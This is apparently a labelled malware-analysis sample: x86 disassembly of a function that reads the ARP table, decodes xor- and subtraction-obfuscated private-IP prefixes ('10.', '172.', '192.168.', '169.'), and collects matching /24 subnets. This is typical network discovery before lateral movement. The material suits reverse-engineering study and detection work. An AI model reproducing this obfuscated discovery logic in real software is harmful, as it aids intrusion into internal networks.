Function at 0x40691c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 4]
push edi
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push eax
push ebx
mov dword [ebp - 4], ebx
call esi
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x406b19
call fcn.004067f9
mov edi, eax
test edi, edi
je 0x406b19
push ebx
lea eax, [ebp - 4]
push eax
push edi
call esi
test eax, eax
jne 0x406b0e
mov dword [ebp - 0x14], ebx
cmp dword [edi], ebx
jbe 0x406b0b
lea eax, [edi + 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [eax]
lea eax, [ebp - 0x78]
push 0x2c
mov dword [ebp - 0xc], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x406981
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov byte [ebp - 0x29], 0x3d
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x3e
mov byte [ebp - 0x26], 0x3a
mov byte [ebp - 0x25], bl
mov cl, byte [ebp - 0x29]
mov ecx, ebx
sub byte [ebp + ecx - 0x29], 0xc
inc ecx
cmp ecx, 4
jb 0x4069b0
lea eax, [ebp - 0x29]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov byte [ebp - 0x3d], 0x39
mov byte [ebp - 0x3c], 0x41
mov byte [ebp - 0x3b], 0x3a
mov byte [ebp - 0x3a], 0x36
mov byte [ebp - 0x39], 0x39
mov byte [ebp - 0x38], 0x3e
mov byte [ebp - 0x37], 0x40
mov byte [ebp - 0x36], 0x36
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x35], bl
mov al, byte [ebp - 0x3d]
mov eax, ebx
sub byte [ebp + eax - 0x3d], 8
inc eax
cmp eax, 8
jb 0x4069f1
lea eax, [ebp - 0x3d]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x34], 0x3d
mov edx, ebx
mov byte [ebp - 0x30], 0xc
mov byte [ebp - 0x2f], 0xd
mov byte [ebp - 0x2e], 0x13
mov cl, byte [ebp - 0x30]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x2d], bl
mov al, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x34]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, 3
jb 0x406a25
lea eax, [ebp - 0x30]
mov byte [ebp - 0x2d], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x4c], 0x2c
mov edx, ebx
mov byte [ebp - 0x48], 0x1d
mov byte [ebp - 0x47], 0x1a
mov byte [ebp - 0x46], 0x15
mov byte [ebp - 0x45], 2
mov cl, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], bl
mov al, byte [ebp + edx - 0x48]
mov ecx, dword [ebp - 0x4c]
xor cl, al
mov byte [ebp + edx - 0x48], cl
inc edx
cmp edx, 4
jb 0x406a68
lea eax, [ebp - 0x48]
mov byte [ebp - 0x44], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x1c], esi
je 0x406a9c
cmp dword [ebp - 0x20], esi
je 0x406a9c
cmp dword [ebp - 0x24], esi
je 0x406a9c
cmp eax, esi
jne 0x406af3
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
jmp 0x406aba
movzx eax, word [ecx]
lea edx, [ebp - 0xc]
cmp ax, word [edx]
jne 0x406ab7
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x406af3
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x406aa3
mov eax, dword [ebp - 0xc]
push 0xc
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0xd], bl
call fcn.004067f9
mov esi, eax
test esi, esi
je 0x406b0b
mov eax, dword [ebp - 8]
lea edx, [esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], esi
mov eax, dword [ebp - 8]
mov dword [eax + 4], edx
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc esi
add eax, 0x18
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], eax
cmp esi, dword [edi]
jb 0x406976
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.0040689e
mov eax, ebx
jmp 0x406b1b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret